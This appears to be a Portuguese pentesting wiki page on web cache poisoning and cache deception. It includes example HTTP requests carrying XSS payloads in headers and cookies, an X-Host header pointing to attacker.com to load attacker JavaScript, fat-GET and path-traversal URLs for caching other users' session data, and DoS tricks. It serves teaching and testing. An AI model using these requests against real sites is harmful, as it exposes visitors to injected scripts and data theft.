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Cache Poisoning e Cache Deception

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A diferença

Qual é a diferença entre envenenamento de cache web e decepção de cache web?

No envenenamento de cache web, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.

Na decepção de cache web, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.

Envenenamento de Cache

O envenenamento de cache visa manipular o cache do lado do cliente para forçar os clientes a carregar recursos que são inesperados, parciais ou sob o controle de um atacante. A extensão do impacto depende da popularidade da página afetada, já que a resposta contaminada é servida exclusivamente para usuários que visitam a página durante o período de contaminação do cache.

A execução de um ataque de envenenamento de cache envolve várias etapas:

Identificação de Entradas Não Chaveadas: Estes são parâmetros que, embora não sejam necessários para que uma solicitação seja armazenada em cache, podem alterar a resposta retornada pelo servidor. Identificar essas entradas é crucial, pois podem ser exploradas para manipular o cache.
Exploração das Entradas Não Chaveadas: Após identificar as entradas não chaveadas, o próximo passo envolve descobrir como abusar desses parâmetros para modificar a resposta do servidor de uma maneira que beneficie o atacante.
Garantir que a Resposta Envenenada seja Armazenada em Cache: O passo final é garantir que a resposta manipulada seja armazenada no cache. Dessa forma, qualquer usuário que acessar a página afetada enquanto o cache estiver envenenado receberá a resposta contaminada.

Descoberta: Verifique os cabeçalhos HTTP

Geralmente, quando uma resposta foi armazenada em cache, haverá um cabeçalho indicando isso, você pode verificar quais cabeçalhos deve prestar atenção neste post: Cabeçalhos de Cache HTTP.

Descoberta: Códigos de erro de cache

Se você está pensando que a resposta está sendo armazenada em um cache, você poderia tentar enviar solicitações com um cabeçalho ruim, que deve ser respondido com um código de status 400. Então, tente acessar a solicitação normalmente e se a resposta for um código de status 400, você sabe que é vulnerável (e você poderia até realizar um DoS).

Você pode encontrar mais opções em:

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

No entanto, note que às vezes esses tipos de códigos de status não são armazenados em cache, então este teste pode não ser confiável.

Descoberta: Identificar e avaliar entradas não chaveadas

Você poderia usar Param Miner para forçar parâmetros e cabeçalhos que podem estar mudando a resposta da página. Por exemplo, uma página pode estar usando o cabeçalho X-Forwarded-For para indicar ao cliente que carregue o script de lá:

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Elicitar uma resposta prejudicial do servidor back-end

Com o parâmetro/cabeçalho identificado, verifique como ele está sendo sanitizado e onde está sendo refletido ou afetando a resposta do cabeçalho. Você pode abusar disso de alguma forma (realizar um XSS ou carregar um código JS controlado por você? realizar um DoS?...)

Obter a resposta em cache

Uma vez que você tenha identificado a página que pode ser abusada, qual parâmetro/cabeçalho usar e como abusar disso, você precisa fazer com que a página seja armazenada em cache. Dependendo do recurso que você está tentando colocar em cache, isso pode levar algum tempo, você pode precisar tentar por vários segundos.

O cabeçalho X-Cache na resposta pode ser muito útil, pois pode ter o valor miss quando a solicitação não foi armazenada em cache e o valor hit quando está em cache.
O cabeçalho Cache-Control também é interessante para saber se um recurso está sendo armazenado em cache e quando será a próxima vez que o recurso será armazenado em cache novamente: Cache-Control: public, max-age=1800

Outro cabeçalho interessante é Vary. Este cabeçalho é frequentemente usado para indicar cabeçalhos adicionais que são tratados como parte da chave de cache, mesmo que normalmente não sejam chaveados. Portanto, se o usuário souber o User-Agent da vítima que está visando, ele pode envenenar o cache para os usuários que usam aquele User-Agent específico.

Mais um cabeçalho relacionado ao cache é Age. Ele define o tempo em segundos que o objeto esteve no cache do proxy.

Ao armazenar uma solicitação em cache, tenha cuidado com os cabeçalhos que você usa, pois alguns deles podem ser usados inesperadamente como chaveados e a vítima precisará usar aquele mesmo cabeçalho. Sempre teste um Cache Poisoning com navegadores diferentes para verificar se está funcionando.

Exemplos de Exploração

Exemplo mais fácil

Um cabeçalho como X-Forwarded-For está sendo refletido na resposta sem sanitização.
Você pode enviar um payload básico de XSS e envenenar o cache para que todos que acessarem a página sejam XSSados:

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note que isso irá envenenar uma solicitação para /en?region=uk e não para /en

Envenenamento de cache para DoS

{% content-ref url="cache-poisoning-to-dos.md" %} cache-poisoning-to-dos.md {% endcontent-ref %}

Usando o envenenamento de cache da web para explorar vulnerabilidades de manipulação de cookies

Os cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, poderá explorar XSS em vários clientes que carregam a resposta de cache maliciosa.

GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Note que se o cookie vulnerável for muito utilizado pelos usuários, solicitações regulares estarão limpando o cache.

Gerando discrepâncias com delimitadores, normalização e pontos

Verifique:

{% content-ref url="cache-poisoning-via-url-discrepancies.md" %} cache-poisoning-via-url-discrepancies.md {% endcontent-ref %}

Envenenamento de cache com travessia de caminho para roubar chave de API

Este relatório explica como foi possível roubar uma chave de API do OpenAI com uma URL como https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 porque qualquer coisa que corresponda a /share/* será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web.

Isso também é explicado melhor em:

{% content-ref url="cache-poisoning-via-url-discrepancies.md" %} cache-poisoning-via-url-discrepancies.md {% endcontent-ref %}

Usando múltiplos cabeçalhos para explorar vulnerabilidades de envenenamento de cache web

Às vezes, você precisará explorar várias entradas não chaveadas para poder abusar de um cache. Por exemplo, você pode encontrar um redirecionamento aberto se definir X-Forwarded-Host para um domínio controlado por você e X-Forwarded-Scheme para http. Se o servidor estiver encaminhando todas as requisições HTTP para HTTPS e usando o cabeçalho X-Forwarded-Scheme como o nome do domínio para o redirecionamento. Você pode controlar para onde a página é apontada pelo redirecionamento.

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Explorando com o cabeçalho `Vary` limitado

Se você descobriu que o cabeçalho X-Host está sendo usado como nome de domínio para carregar um recurso JS, mas o cabeçalho Vary na resposta está indicando User-Agent. Então, você precisa encontrar uma maneira de exfiltrar o User-Agent da vítima e envenenar o cache usando esse user agent:

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Envie uma solicitação GET com a solicitação na URL e no corpo. Se o servidor web usar a do corpo, mas o servidor de cache armazenar a da URL, qualquer pessoa que acessar essa URL usará na verdade o parâmetro do corpo. Como a vulnerabilidade que James Kettle encontrou no site do Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There it a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

Por exemplo, é possível separar parâmetros em servidores ruby usando o caractere ; em vez de &. Isso pode ser usado para colocar valores de parâmetros não-chave dentro de parâmetros chave e abusar deles.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Aprenda aqui como realizar ataques de Cache Poisoning abusando de HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

O Web Cache Vulnerability Scanner pode ser usado para testar automaticamente a vulnerabilidade de cache web. Ele suporta muitas técnicas diferentes e é altamente personalizável.

Exemplo de uso: wcvs -u example.com

Vulnerable Examples

Apache Traffic Server (CVE-2021-27577)

ATS encaminhou o fragmento dentro da URL sem removê-lo e gerou a chave de cache usando apenas o host, caminho e consulta (ignorando o fragmento). Assim, a solicitação /#/../?r=javascript:alert(1) foi enviada para o backend como /#/../?r=javascript:alert(1) e a chave de cache não continha a carga útil, apenas host, caminho e consulta.

GitHub CP-DoS

Enviar um valor inválido no cabeçalho content-type acionou uma resposta 405 em cache. A chave de cache continha o cookie, então era possível atacar apenas usuários não autenticados.

GitLab + GCP CP-DoS

O GitLab usa buckets do GCP para armazenar conteúdo estático. Buckets do GCP suportam o cabeçalho x-http-method-override. Assim, era possível enviar o cabeçalho x-http-method-override: HEAD e envenenar o cache para retornar um corpo de resposta vazio. Também poderia suportar o método PURGE.

Rack Middleware (Ruby on Rails)

Em aplicações Ruby on Rails, o middleware Rack é frequentemente utilizado. O propósito do código Rack é pegar o valor do cabeçalho x-forwarded-scheme e defini-lo como o esquema da solicitação. Quando o cabeçalho x-forwarded-scheme: http é enviado, ocorre um redirecionamento 301 para o mesmo local, potencialmente causando uma negação de serviço (DoS) para esse recurso. Além disso, a aplicação pode reconhecer o cabeçalho X-forwarded-host e redirecionar os usuários para o host especificado. Esse comportamento pode levar ao carregamento de arquivos JavaScript do servidor de um atacante, representando um risco de segurança.

403 and Storage Buckets

O Cloudflare anteriormente armazenava em cache respostas 403. Tentar acessar S3 ou Azure Storage Blobs com cabeçalhos de autorização incorretos resultaria em uma resposta 403 que foi armazenada em cache. Embora o Cloudflare tenha parado de armazenar em cache respostas 403, esse comportamento pode ainda estar presente em outros serviços de proxy.

Injecting Keyed Parameters

Os caches frequentemente incluem parâmetros GET específicos na chave de cache. Por exemplo, o Varnish do Fastly armazenava em cache o parâmetro size nas solicitações. No entanto, se uma versão codificada em URL do parâmetro (por exemplo, siz%65) também fosse enviada com um valor incorreto, a chave de cache seria construída usando o parâmetro size correto. No entanto, o backend processaria o valor no parâmetro codificado em URL. A codificação em URL do segundo parâmetro size levou à sua omissão pelo cache, mas sua utilização pelo backend. Atribuir um valor de 0 a esse parâmetro resultou em um erro 400 Bad Request que poderia ser armazenado em cache.

User Agent Rules

Alguns desenvolvedores bloqueiam solicitações com user-agents que correspondem aos de ferramentas de alto tráfego, como FFUF ou Nuclei, para gerenciar a carga do servidor. Ironicamente, essa abordagem pode introduzir vulnerabilidades, como envenenamento de cache e DoS.

Illegal Header Fields

O RFC7230 especifica os caracteres aceitáveis nos nomes dos cabeçalhos. Cabeçalhos contendo caracteres fora do intervalo tchar especificado devem idealmente acionar uma resposta 400 Bad Request. Na prática, os servidores nem sempre aderem a esse padrão. Um exemplo notável é o Akamai, que encaminha cabeçalhos com caracteres inválidos e armazena em cache qualquer erro 400, desde que o cabeçalho cache-control não esteja presente. Um padrão explorável foi identificado onde enviar um cabeçalho com um caractere ilegal, como \, resultaria em um erro 400 Bad Request que poderia ser armazenado em cache.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

O objetivo do Cache Deception é fazer com que os clientes carreguem recursos que serão salvos pelo cache com suas informações sensíveis.

Primeiro, note que extensões como .css, .js, .png etc. são geralmente configuradas para serem salvas no cache. Portanto, se você acessar www.example.com/profile.php/nonexistent.js, o cache provavelmente armazenará a resposta porque vê a extensão .js. Mas, se a aplicação estiver reproduzindo com os conteúdos sensíveis do usuário armazenados em www.example.com/profile.php, você pode roubar esses conteúdos de outros usuários.

Outras coisas a testar:

www.example.com/profile.php/.js
www.example.com/profile.php/.css
www.example.com/profile.php/test.js
www.example.com/profile.php/../test.js
www.example.com/profile.php/%2e%2e/test.js
Use extensões menos conhecidas como .avif

Outro exemplo muito claro pode ser encontrado neste relatório: https://hackerone.com/reports/593712.
No exemplo, é explicado que se você carregar uma página inexistente como http://www.example.com/home.php/non-existent.css, o conteúdo de http://www.example.com/home.php (com as informações sensíveis do usuário) será retornado e o servidor de cache salvará o resultado.
Então, o atacante pode acessar http://www.example.com/home.php/non-existent.css em seu próprio navegador e observar as informações confidenciais dos usuários que acessaram antes.

Note que o proxy de cache deve ser configurado para armazenar em cache arquivos baseados na extensão do arquivo (.css) e não com base no content-type. No exemplo http://www.example.com/home.php/non-existent.css terá um content-type text/html em vez de um tipo mime text/css (que é o esperado para um arquivo .css).

Aprenda aqui como realizar ataques de Cache Deceptions abusando de HTTP Request Smuggling.

Automatic Tools

toxicache: Scanner em Golang para encontrar vulnerabilidades de envenenamento de cache web em uma lista de URLs e testar várias técnicas de injeção.

References

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